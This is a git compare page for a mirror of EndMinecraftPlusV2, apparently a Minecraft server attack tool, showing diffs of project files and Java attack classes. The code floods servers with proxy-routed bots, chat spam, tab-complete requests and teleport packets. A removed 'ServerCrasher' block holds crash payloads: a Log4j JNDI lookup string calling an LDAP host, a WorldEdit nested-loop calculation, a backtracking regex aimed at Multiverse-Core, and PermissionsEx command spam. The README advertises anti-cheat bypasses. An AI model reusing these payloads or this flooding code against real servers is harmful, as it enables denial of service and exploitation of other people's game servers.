mirror of
https://github.com/SerendipityR-2022/EndMinecraftPlusV2.git
synced 2024-11-01 04:17:59 +00:00
Compare commits
No commits in common. "75d82e44bd927a2f8257907b2baf193c6b4fa7e7" and "b4869f33a8332992b8978cefe69481bb2ae92c9f" have entirely different histories.
75d82e44bd
...
b4869f33a8
@ -7,92 +7,14 @@
|
||||
</content>
|
||||
<orderEntry type="inheritedJdk" />
|
||||
<orderEntry type="sourceFolder" forTests="false" />
|
||||
<orderEntry type="library" name="jna-5.12.1" level="project" />
|
||||
<orderEntry type="library" name="bukkitYaml-0.1-pre-jar-with-dependencies" level="project" />
|
||||
<orderEntry type="library" name="libs" level="project" />
|
||||
<orderEntry type="module" module-name="VersionSupport-578" />
|
||||
<orderEntry type="module" module-name="VersionSupport-754" />
|
||||
<orderEntry type="module" module-name="VersionSupport-758" />
|
||||
<orderEntry type="library" name="adventure" level="project" />
|
||||
<orderEntry type="module" module-name="VersionSupport-759" />
|
||||
<orderEntry type="module" module-name="VersionSupport-760" />
|
||||
<orderEntry type="module-library">
|
||||
<library>
|
||||
<CLASSES>
|
||||
<root url="jar://$MODULE_DIR$/libs/MC-1.8.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
<orderEntry type="module-library">
|
||||
<library>
|
||||
<CLASSES>
|
||||
<root url="jar://$MODULE_DIR$/libs/MC-1.13.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
<orderEntry type="module-library">
|
||||
<library>
|
||||
<CLASSES>
|
||||
<root url="jar://$MODULE_DIR$/libs/MCP-1.14.4.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
<orderEntry type="module-library">
|
||||
<library>
|
||||
<CLASSES>
|
||||
<root url="jar://$MODULE_DIR$/libs/MCP-1.19.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
<orderEntry type="module-library">
|
||||
<library>
|
||||
<CLASSES>
|
||||
<root url="jar://$MODULE_DIR$/libs/adventure-text-serializer-plain-4.11.0.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
<orderEntry type="module-library">
|
||||
<library>
|
||||
<CLASSES>
|
||||
<root url="jar://$MODULE_DIR$/libs/jna-5.12.1.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
<orderEntry type="module-library">
|
||||
<library>
|
||||
<CLASSES>
|
||||
<root url="jar://$MODULE_DIR$/libs/bukkitYaml-0.1-pre-jar-with-dependencies.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
<orderEntry type="module-library">
|
||||
<library>
|
||||
<CLASSES>
|
||||
<root url="jar://$MODULE_DIR$/libs/adventure-api-4.11.0.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
<orderEntry type="module-library">
|
||||
<library>
|
||||
<CLASSES>
|
||||
<root url="jar://$MODULE_DIR$/libs/javassist-3.22.0-CR2.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
<orderEntry type="module" module-name="VersionSupport-107" />
|
||||
</component>
|
||||
</module>
|
@ -13,9 +13,8 @@ ___
|
||||
___
|
||||
## 更新了什么?
|
||||
### 自定义假人名称、自定义刷屏内容/指令、高级假人绕过(点击验证/重进验证)
|
||||
### 可配置的Forge支持、猫反作弊绕过、高度自定义的配置项、发包崩服
|
||||
### 可配置的Forge支持、猫反作弊绕过、高度自定义的配置项
|
||||
### 优化内部逻辑、支持代理API更改、更加好看的输出界面~
|
||||
### [量的提升促进质的飞跃,性能开销相较EMP降低75%+]
|
||||
___
|
||||
## 常见问题:
|
||||
### 1. java.lang.ClassCastException: class jdk.internal.loader.ClassLoaders$AppClassLoader cannot be cast to class java.net.URLClassLoader
|
||||
|
@ -1,38 +0,0 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<module type="JAVA_MODULE" version="4">
|
||||
<component name="NewModuleRootManager" inherit-compiler-output="true">
|
||||
<exclude-output />
|
||||
<content url="file://$MODULE_DIR$">
|
||||
<sourceFolder url="file://$MODULE_DIR$/src" isTestSource="false" />
|
||||
</content>
|
||||
<orderEntry type="inheritedJdk" />
|
||||
<orderEntry type="sourceFolder" forTests="false" />
|
||||
<orderEntry type="module-library">
|
||||
<library>
|
||||
<CLASSES>
|
||||
<root url="jar://$MODULE_DIR$/../libs/adventure-api-4.11.0.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
<orderEntry type="module-library">
|
||||
<library>
|
||||
<CLASSES>
|
||||
<root url="jar://$MODULE_DIR$/../libs/adventure-text-serializer-plain-4.11.0.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
<orderEntry type="module-library">
|
||||
<library>
|
||||
<CLASSES>
|
||||
<root url="jar://$MODULE_DIR$/../libs/MC-1.12.2.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
</component>
|
||||
</module>
|
@ -1,21 +0,0 @@
|
||||
package cn.serendipityr.EndMinecraftPlusV2.VersionControl;
|
||||
|
||||
import org.spacehq.mc.protocol.data.game.ClientRequest;
|
||||
import org.spacehq.mc.protocol.packet.ingame.client.ClientKeepAlivePacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.client.ClientRequestPacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.server.ServerKeepAlivePacket;
|
||||
import org.spacehq.packetlib.Session;
|
||||
|
||||
public class VersionSupport107 {
|
||||
public static void sendRespawnPacket(Session session) {
|
||||
ClientRequestPacket clientRequestPacket = new ClientRequestPacket(ClientRequest.RESPAWN);
|
||||
|
||||
session.send(clientRequestPacket);
|
||||
}
|
||||
|
||||
public static void sendKeepAlivePacket(Session session, ServerKeepAlivePacket packet) {
|
||||
ClientKeepAlivePacket clientKeepAlivePacket = new ClientKeepAlivePacket(packet.getPingId());
|
||||
|
||||
session.send(clientKeepAlivePacket);
|
||||
}
|
||||
}
|
@ -16,23 +16,5 @@
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
<orderEntry type="module-library">
|
||||
<library>
|
||||
<CLASSES>
|
||||
<root url="jar://$MODULE_DIR$/../libs/adventure-api-4.11.0.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
<orderEntry type="module-library">
|
||||
<library>
|
||||
<CLASSES>
|
||||
<root url="jar://$MODULE_DIR$/../libs/adventure-text-serializer-plain-4.11.0.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
</component>
|
||||
</module>
|
@ -2,7 +2,6 @@ package cn.serendipityr.EndMinecraftPlusV2.VersionControl;
|
||||
|
||||
import com.github.steveice10.mc.protocol.data.message.Message;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.client.ClientChatPacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.server.ServerKeepAlivePacket;
|
||||
import com.github.steveice10.packetlib.ProxyInfo;
|
||||
import com.github.steveice10.packetlib.Session;
|
||||
import com.github.steveice10.packetlib.tcp.TcpSessionFactory;
|
||||
|
@ -16,23 +16,6 @@
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
<orderEntry type="module-library">
|
||||
<library>
|
||||
<CLASSES>
|
||||
<root url="jar://$MODULE_DIR$/../libs/adventure-text-serializer-plain-4.11.0.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
<orderEntry type="module-library">
|
||||
<library>
|
||||
<CLASSES>
|
||||
<root url="jar://$MODULE_DIR$/../libs/adventure-api-4.11.0.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
<orderEntry type="library" name="adventure" level="project" />
|
||||
</component>
|
||||
</module>
|
@ -16,23 +16,6 @@
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
<orderEntry type="module-library">
|
||||
<library>
|
||||
<CLASSES>
|
||||
<root url="jar://$MODULE_DIR$/../libs/adventure-text-serializer-plain-4.11.0.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
<orderEntry type="module-library">
|
||||
<library>
|
||||
<CLASSES>
|
||||
<root url="jar://$MODULE_DIR$/../libs/adventure-api-4.11.0.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
<orderEntry type="library" name="adventure" level="project" />
|
||||
</component>
|
||||
</module>
|
@ -7,6 +7,7 @@
|
||||
</content>
|
||||
<orderEntry type="sourceFolder" forTests="false" />
|
||||
<orderEntry type="inheritedJdk" />
|
||||
<orderEntry type="library" name="adventure" level="project" />
|
||||
<orderEntry type="module-library">
|
||||
<library>
|
||||
<CLASSES>
|
||||
@ -17,23 +18,5 @@
|
||||
</library>
|
||||
</orderEntry>
|
||||
<orderEntry type="module" module-name="VersionSupport-760" />
|
||||
<orderEntry type="module-library">
|
||||
<library>
|
||||
<CLASSES>
|
||||
<root url="jar://$MODULE_DIR$/../libs/adventure-text-serializer-plain-4.11.0.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
<orderEntry type="module-library">
|
||||
<library>
|
||||
<CLASSES>
|
||||
<root url="jar://$MODULE_DIR$/../libs/adventure-api-4.11.0.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
</component>
|
||||
</module>
|
@ -16,23 +16,6 @@
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
<orderEntry type="module-library">
|
||||
<library>
|
||||
<CLASSES>
|
||||
<root url="jar://$MODULE_DIR$/../libs/adventure-api-4.11.0.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
<orderEntry type="module-library">
|
||||
<library>
|
||||
<CLASSES>
|
||||
<root url="jar://$MODULE_DIR$/../libs/adventure-text-serializer-plain-4.11.0.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
<orderEntry type="library" name="adventure" level="project" />
|
||||
</component>
|
||||
</module>
|
@ -1,3 +0,0 @@
|
||||
Manifest-Version: 1.0
|
||||
Main-Class: cn.serendipityr.EndMinecraftPlusV2.EndMinecraftPlusV2
|
||||
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@ -8,7 +8,7 @@ import cn.serendipityr.EndMinecraftPlusV2.VersionControl.AttackManager;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.VersionControl.ProtocolLibs;
|
||||
|
||||
public class EndMinecraftPlusV2 {
|
||||
public static String ver = "1.4.6";
|
||||
public static String ver = "1.4.4";
|
||||
public static Integer CfgVer = 6;
|
||||
public static Boolean isLinux = false;
|
||||
|
||||
|
@ -4,11 +4,13 @@ import java.io.*;
|
||||
import java.net.InetSocketAddress;
|
||||
import java.net.Proxy;
|
||||
import java.util.ArrayList;
|
||||
import java.util.HashMap;
|
||||
import java.util.List;
|
||||
import java.util.regex.Matcher;
|
||||
|
||||
public class ProxyUtil {
|
||||
public static List<String> proxies = new ArrayList<>();
|
||||
public static HashMap<Object,Proxy> clientsProxy = new HashMap<>();
|
||||
public static List<Proxy> workingProxiesList = new ArrayList<>();
|
||||
|
||||
public static void getProxies() {
|
||||
|
@ -36,11 +36,11 @@ import java.util.concurrent.ExecutorService;
|
||||
import java.util.concurrent.Executors;
|
||||
|
||||
public class BotAttack extends IAttack {
|
||||
public static HashMap<Session, String> clientName = new HashMap<>();
|
||||
public static HashMap<Client, String> clientName = new HashMap<>();
|
||||
public static int failed = 0;
|
||||
public static int rejoin = 0;
|
||||
public static int clickVerifies = 0;
|
||||
public static List<Session> alivePlayers = new ArrayList<>();
|
||||
public static List<String> alivePlayers = new ArrayList<>();
|
||||
public static List<String> rejoinPlayers = new ArrayList<>();
|
||||
public static List<Session> joinedPlayers = new ArrayList<>();
|
||||
public static HashMap<Session, ServerPlayerPositionRotationPacket> positionPacket = new HashMap<>();
|
||||
@ -49,6 +49,7 @@ public class BotAttack extends IAttack {
|
||||
protected Map<String, String> modList;
|
||||
|
||||
private Thread mainThread;
|
||||
private Thread tabThread;
|
||||
private Thread taskThread;
|
||||
|
||||
public Set<Client> clients = new ConcurrentSet<>();
|
||||
@ -76,108 +77,39 @@ public class BotAttack extends IAttack {
|
||||
public void start() {
|
||||
setTask(() -> {
|
||||
while (true) {
|
||||
List<Session> tempList = new ArrayList<>(alivePlayers);
|
||||
for (Client c : clients) {
|
||||
if (c.getSession().isConnected()) {
|
||||
if (c.getSession().hasFlag("login")) {
|
||||
if (ConfigUtil.ChatSpam) {
|
||||
c.getSession().send(new ClientChatPacket(getRandMessage(clientName.get(c))));
|
||||
OtherUtils.doSleep(ConfigUtil.ChatDelay);
|
||||
}
|
||||
|
||||
for (Session c:tempList) {
|
||||
if (c.isConnected()) {
|
||||
if (c.hasFlag("login")) {
|
||||
if (ConfigUtil.ChatSpam && !c.hasFlag("chatSpam")) {
|
||||
c.setFlag("chatSpam", true);
|
||||
|
||||
new Thread(() -> {
|
||||
while (c.isConnected()) {
|
||||
if (ConfigUtil.RandomTeleport) {
|
||||
ServerPlayerPositionRotationPacket positionRotationPacket = positionPacket.get(c.getSession());
|
||||
if (c.getSession().isConnected() && positionRotationPacket != null) {
|
||||
new Thread(() -> {
|
||||
try {
|
||||
c.send(new ClientChatPacket(getRandMessage(clientName.get(c))));
|
||||
} catch (Exception ignored) {}
|
||||
|
||||
OtherUtils.doSleep(ConfigUtil.ChatDelay);
|
||||
}
|
||||
}).start();
|
||||
}
|
||||
|
||||
if (ConfigUtil.RandomTeleport && !c.hasFlag("randomTeleport")) {
|
||||
c.setFlag("randomTeleport", true);
|
||||
|
||||
new Thread(() -> {
|
||||
while (c.isConnected()) {
|
||||
ServerPlayerPositionRotationPacket positionRotationPacket = positionPacket.get(c);
|
||||
|
||||
if (c.isConnected() && positionRotationPacket != null) {
|
||||
MultiVersionPacket.sendPosPacket(c, positionRotationPacket.getX() + OtherUtils.getRandomInt(-10, 10), positionRotationPacket.getY() + OtherUtils.getRandomInt(2, 8), positionRotationPacket.getZ() + OtherUtils.getRandomInt(-10, 10), OtherUtils.getRandomFloat(0.00, 1.00), OtherUtils.getRandomFloat(0.00, 1.00));
|
||||
OtherUtils.doSleep(500);
|
||||
MultiVersionPacket.sendPosPacket(c, positionRotationPacket.getX(), positionRotationPacket.getY(), positionRotationPacket.getZ(), OtherUtils.getRandomFloat(0.00, 1.00), OtherUtils.getRandomFloat(0.00, 1.00));
|
||||
} else {
|
||||
OtherUtils.doSleep(1000);
|
||||
cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.MultiVersionPacket.sendPosPacket(c.getSession(), positionRotationPacket.getX() + OtherUtils.getRandomInt(-10, 10), positionRotationPacket.getY() + OtherUtils.getRandomInt(2, 8), positionRotationPacket.getZ() + OtherUtils.getRandomInt(-10, 10), OtherUtils.getRandomFloat(0.00, 1.00), OtherUtils.getRandomFloat(0.00, 1.00));
|
||||
Thread.sleep(500);
|
||||
cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.MultiVersionPacket.sendPosPacket(c.getSession(), positionRotationPacket.getX(), positionRotationPacket.getY(), positionRotationPacket.getZ(), OtherUtils.getRandomFloat(0.00, 1.00), OtherUtils.getRandomFloat(0.00, 1.00));
|
||||
} catch (InterruptedException e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
}
|
||||
}).start();
|
||||
}).start();
|
||||
}
|
||||
}
|
||||
|
||||
if (ConfigUtil.ServerCrasher && !c.hasFlag("crasher")) {
|
||||
c.setFlag("crasher", true);
|
||||
|
||||
LogUtil.doLog(0, "[" + clientName.get(c) + "] 开始发送Crash Packet...", "ServerCrasher");
|
||||
|
||||
new Thread(() -> {
|
||||
switch (ConfigUtil.ServerCrasherMode) {
|
||||
case 1:
|
||||
LogUtil.doLog(0, "Book Crash仅适用于1.8.X版本。", "ServerCrasher");
|
||||
break;
|
||||
case 2:
|
||||
String log4jExploit = "${jndi:ldap://192.168.${RandomUtils.nextInt(1,253)}.${RandomUtils.nextInt(1,253)}}";
|
||||
c.send(new ClientChatPacket(log4jExploit));
|
||||
break;
|
||||
case 3:
|
||||
String worldEdit = "//calc for(i=0;i<256;i++){for(a=0;a<256;a++){for(b=0;b<256;b++){for(c=0;c<255;c++){}}}}";
|
||||
c.send(new ClientChatPacket(worldEdit));
|
||||
break;
|
||||
case 4:
|
||||
String multiverseCore = "/mv ^(.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.++)$^";
|
||||
c.send(new ClientChatPacket(multiverseCore));
|
||||
break;
|
||||
case 5:
|
||||
String pex_1 = "/pex promote a a";
|
||||
String pex_2 = "/pex demote a a";
|
||||
while (c.isConnected()) {
|
||||
c.send(new ClientChatPacket(new Random().nextBoolean() ? pex_1:pex_2));
|
||||
OtherUtils.doSleep(2000);
|
||||
}
|
||||
break;
|
||||
default:
|
||||
LogUtil.doLog(1, "ServerCrasher Mode设置有误,请检查配置文件。", null);
|
||||
break;
|
||||
}
|
||||
}).start();
|
||||
}
|
||||
|
||||
if (ConfigUtil.TabAttack && !c.hasFlag("tabAttack")) {
|
||||
c.setFlag("tabAttack", true);
|
||||
|
||||
new Thread(() -> {
|
||||
while (c.isConnected()) {
|
||||
MultiVersionPacket.sendTabPacket(c, "/");
|
||||
OtherUtils.doSleep(100);
|
||||
}
|
||||
}).start();
|
||||
}
|
||||
} else {
|
||||
} else if (c.getSession().hasFlag("join")) {
|
||||
if (ConfigUtil.RegisterAndLogin) {
|
||||
try {
|
||||
for (String cmd:ConfigUtil.RegisterCommands) {
|
||||
OtherUtils.doSleep(ConfigUtil.ChatDelay);
|
||||
c.send(new ClientChatPacket(cmd.replace("$pwd",DataUtil.botRegPasswordsMap.get(clientName.get(c)))));
|
||||
}
|
||||
|
||||
LogUtil.doLog(0, "[" + clientName.get(c) + "] 注册信息已发送。", "BotAttack");
|
||||
|
||||
c.setFlag("login", true);
|
||||
} catch (Exception ignored) {}
|
||||
} else {
|
||||
c.setFlag("login", true);
|
||||
for (String cmd:ConfigUtil.RegisterCommands) {
|
||||
OtherUtils.doSleep(ConfigUtil.ChatDelay);
|
||||
c.getSession().send(new ClientChatPacket(cmd.replace("$pwd",DataUtil.botRegPasswordsMap.get(clientName.get(c)))));
|
||||
}
|
||||
LogUtil.doLog(0, "[" + clientName.get(c) + "] 注册信息已发送。", "BotAttack");
|
||||
}
|
||||
|
||||
c.getSession().setFlag("login", true);
|
||||
}
|
||||
} else {
|
||||
alivePlayers.remove(c);
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -208,18 +140,34 @@ public class BotAttack extends IAttack {
|
||||
}
|
||||
});
|
||||
|
||||
mainThread.start();
|
||||
if (taskThread != null) {
|
||||
taskThread.start();
|
||||
if (this.attack_tab) {
|
||||
tabThread = new Thread(() -> {
|
||||
while (true) {
|
||||
for (Client c : clients) {
|
||||
if (c.getSession().isConnected() && c.getSession().hasFlag("login")) {
|
||||
MultiVersionPacket.sendTabPacket(c.getSession(), "/");
|
||||
}
|
||||
}
|
||||
|
||||
OtherUtils.doSleep(10);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
mainThread.start();
|
||||
if (tabThread != null)
|
||||
tabThread.start();
|
||||
if (taskThread != null)
|
||||
taskThread.start();
|
||||
}
|
||||
|
||||
@SuppressWarnings("deprecation")
|
||||
public void stop() {
|
||||
mainThread.stop();
|
||||
if (taskThread != null) {
|
||||
if (tabThread != null)
|
||||
tabThread.stop();
|
||||
if (taskThread != null)
|
||||
taskThread.stop();
|
||||
}
|
||||
}
|
||||
|
||||
public void setTask(Runnable task) {
|
||||
@ -228,14 +176,16 @@ public class BotAttack extends IAttack {
|
||||
|
||||
private void cleanClients() {
|
||||
for (Client client:clients) {
|
||||
String username = clientName.get(client);
|
||||
|
||||
if (!client.getSession().isConnected()) {
|
||||
positionPacket.remove(client.getSession());
|
||||
alivePlayers.remove(client.getSession());
|
||||
clientName.remove(client.getSession());
|
||||
alivePlayers.remove(username);
|
||||
clientName.remove(client);
|
||||
clients.remove(client);
|
||||
} else {
|
||||
if (!alivePlayers.contains(client.getSession()) && (client.getSession().hasFlag("login") || client.getSession().hasFlag("join"))) {
|
||||
alivePlayers.add(client.getSession());
|
||||
if (!alivePlayers.contains(username) && (client.getSession().hasFlag("login") || client.getSession().hasFlag("join"))) {
|
||||
alivePlayers.add(username);
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -254,36 +204,39 @@ public class BotAttack extends IAttack {
|
||||
break;
|
||||
}
|
||||
|
||||
while (clients.size() <= this.attack_maxconnect) {
|
||||
for (String p: ProxyUtil.proxies) {
|
||||
try {
|
||||
if (!EndMinecraftPlusV2.isLinux) {
|
||||
SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - BotAttack | 当前连接数: " + clients.size() + "个 | 失败次数: " + failed + "次 | 成功加入: " + joinedPlayers.size() + "次 | 当前存活: " + alivePlayers.size() + "个 | 点击验证: " + clickVerifies + "次 | 重进尝试: " + rejoin);
|
||||
}
|
||||
|
||||
String[] _p = p.split(":");
|
||||
Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1])));
|
||||
String[] User = AttackManager.getRandomUser().split("@");
|
||||
Client client = createClient(ip, port, User[0], proxy);
|
||||
client.getSession().setReadTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout));
|
||||
client.getSession().setWriteTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout));
|
||||
clientName.put(client.getSession(), User[0]);
|
||||
clients.add(client);
|
||||
|
||||
pool.submit(() -> {
|
||||
if (this.attack_motdbefore) {
|
||||
getMotd(proxy, ip, port);
|
||||
}
|
||||
|
||||
client.getSession().connect(false);
|
||||
});
|
||||
|
||||
if (this.attack_joinsleep > 0) {
|
||||
OtherUtils.doSleep(attack_joinsleep);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
LogUtil.doLog(1, "发生错误: " + e, null);
|
||||
for (String p: ProxyUtil.proxies) {
|
||||
try {
|
||||
if (!EndMinecraftPlusV2.isLinux) {
|
||||
SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - BotAttack | 当前连接数: " + clients.size() + "个 | 失败次数: " + failed + "次 | 成功加入: " + joinedPlayers.size() + "次 | 当前存活: " + alivePlayers.size() + "个 | 点击验证: " + clickVerifies + "次 | 重进尝试: " + rejoin);
|
||||
}
|
||||
|
||||
String[] _p = p.split(":");
|
||||
Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1])));
|
||||
String[] User = AttackManager.getRandomUser().split("@");
|
||||
Client client = createClient(ip, port, User[0], proxy);
|
||||
client.getSession().setReadTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout));
|
||||
client.getSession().setWriteTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout));
|
||||
clientName.put(client, User[0]);
|
||||
clients.add(client);
|
||||
ProxyUtil.clientsProxy.put(client.getSession(), proxy);
|
||||
|
||||
pool.submit(() -> {
|
||||
if (this.attack_motdbefore) {
|
||||
getMotd(proxy, ip, port);
|
||||
}
|
||||
|
||||
client.getSession().connect(false);
|
||||
});
|
||||
|
||||
if (this.attack_joinsleep > 0) {
|
||||
OtherUtils.doSleep(attack_joinsleep);
|
||||
}
|
||||
|
||||
if (clients.size() > this.attack_maxconnect) {
|
||||
break;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
LogUtil.doLog(1, "发生错误: " + e, null);
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -326,7 +279,9 @@ public class BotAttack extends IAttack {
|
||||
}
|
||||
|
||||
public void packetReceived(Session session, Packet packet) {
|
||||
new Thread(() -> handlePacket(session, packet, username)).start();
|
||||
new Thread(() -> {
|
||||
handlePacket(session, packet, username);
|
||||
}).start();
|
||||
}
|
||||
|
||||
public void packetSending(PacketSendingEvent packetSendingEvent) {
|
||||
@ -379,9 +334,10 @@ public class BotAttack extends IAttack {
|
||||
|
||||
rejoin++;
|
||||
LogUtil.doLog(0,"[假人尝试重连] [" + username + "] [" + proxy + "]", "BotAttack");
|
||||
clientName.put(rejoinClient.getSession(), username);
|
||||
clientName.put(rejoinClient, username);
|
||||
clients.add(rejoinClient);
|
||||
rejoinClient.getSession().connect(false);
|
||||
ProxyUtil.clientsProxy.put(client.getSession(), proxy);
|
||||
|
||||
if (rejoinClient.getSession().hasFlag("join") || rejoinClient.getSession().hasFlag("login")) {
|
||||
rejoinPlayers.remove(username);
|
||||
@ -397,7 +353,7 @@ public class BotAttack extends IAttack {
|
||||
}
|
||||
|
||||
failed++;
|
||||
alivePlayers.remove(client.getSession());
|
||||
alivePlayers.remove(username);
|
||||
}).start();
|
||||
}
|
||||
});
|
||||
@ -447,8 +403,8 @@ public class BotAttack extends IAttack {
|
||||
|
||||
joinedPlayers.add(session);
|
||||
|
||||
if (!alivePlayers.contains(session)) {
|
||||
alivePlayers.add(session);
|
||||
if (!alivePlayers.contains(username)) {
|
||||
alivePlayers.add(username);
|
||||
}
|
||||
|
||||
MultiVersionPacket.sendClientSettingPacket(session, "zh_CN");
|
||||
@ -482,6 +438,10 @@ public class BotAttack extends IAttack {
|
||||
joinedPlayers.add(session);
|
||||
}
|
||||
|
||||
if (!alivePlayers.contains(username)) {
|
||||
alivePlayers.add(username);
|
||||
}
|
||||
|
||||
if (ConfigUtil.ShowServerMessages && !message.getFullText().equals("")) {
|
||||
LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + message.getFullText(), "BotAttack");
|
||||
}
|
||||
@ -489,8 +449,8 @@ public class BotAttack extends IAttack {
|
||||
ClientKeepAlivePacket keepAlivePacket = new ClientKeepAlivePacket(((ServerKeepAlivePacket) recvPacket).getPingId());
|
||||
session.send(keepAlivePacket);
|
||||
|
||||
if (!alivePlayers.contains(session)) {
|
||||
alivePlayers.add(session);
|
||||
if (!alivePlayers.contains(username)) {
|
||||
alivePlayers.add(username);
|
||||
}
|
||||
|
||||
if (!joinedPlayers.contains(session)) {
|
||||
@ -523,5 +483,4 @@ public class BotAttack extends IAttack {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
@ -6,6 +6,7 @@ import cn.serendipityr.EndMinecraftPlusV2.VersionControl.*;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ACProtocol.AnotherStarAntiCheat;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ACProtocol.AntiCheat3;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol.MCForge;
|
||||
import com.github.steveice10.mc.protocol.data.message.Message;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.client.ClientChatPacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.client.ClientKeepAlivePacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.client.ClientPluginMessagePacket;
|
||||
@ -28,6 +29,8 @@ import com.github.steveice10.packetlib.event.session.*;
|
||||
import com.github.steveice10.packetlib.packet.Packet;
|
||||
import io.netty.util.internal.ConcurrentSet;
|
||||
import net.kyori.adventure.text.Component;
|
||||
import net.kyori.adventure.text.serializer.ComponentSerializer;
|
||||
import net.kyori.adventure.text.serializer.gson.GsonComponentSerializer;
|
||||
import net.kyori.adventure.text.serializer.plain.PlainTextComponentSerializer;
|
||||
|
||||
import java.io.OutputStream;
|
||||
@ -43,7 +46,7 @@ public class NewBotAttack extends IAttack {
|
||||
public static int failed = 0;
|
||||
public static int rejoin = 0;
|
||||
public static int clickVerifies = 0;
|
||||
public static List<Session> alivePlayers = new ArrayList<>();
|
||||
public static List<String> alivePlayers = new ArrayList<>();
|
||||
public static List<String> rejoinPlayers = new ArrayList<>();
|
||||
public static List<Session> joinedPlayers = new ArrayList<>();
|
||||
public static HashMap<Session,ServerPlayerPositionRotationPacket> positionPacket = new HashMap<>();
|
||||
@ -53,6 +56,7 @@ public class NewBotAttack extends IAttack {
|
||||
protected Map<String, String> modList;
|
||||
|
||||
private Thread mainThread;
|
||||
private Thread tabThread;
|
||||
private Thread taskThread;
|
||||
|
||||
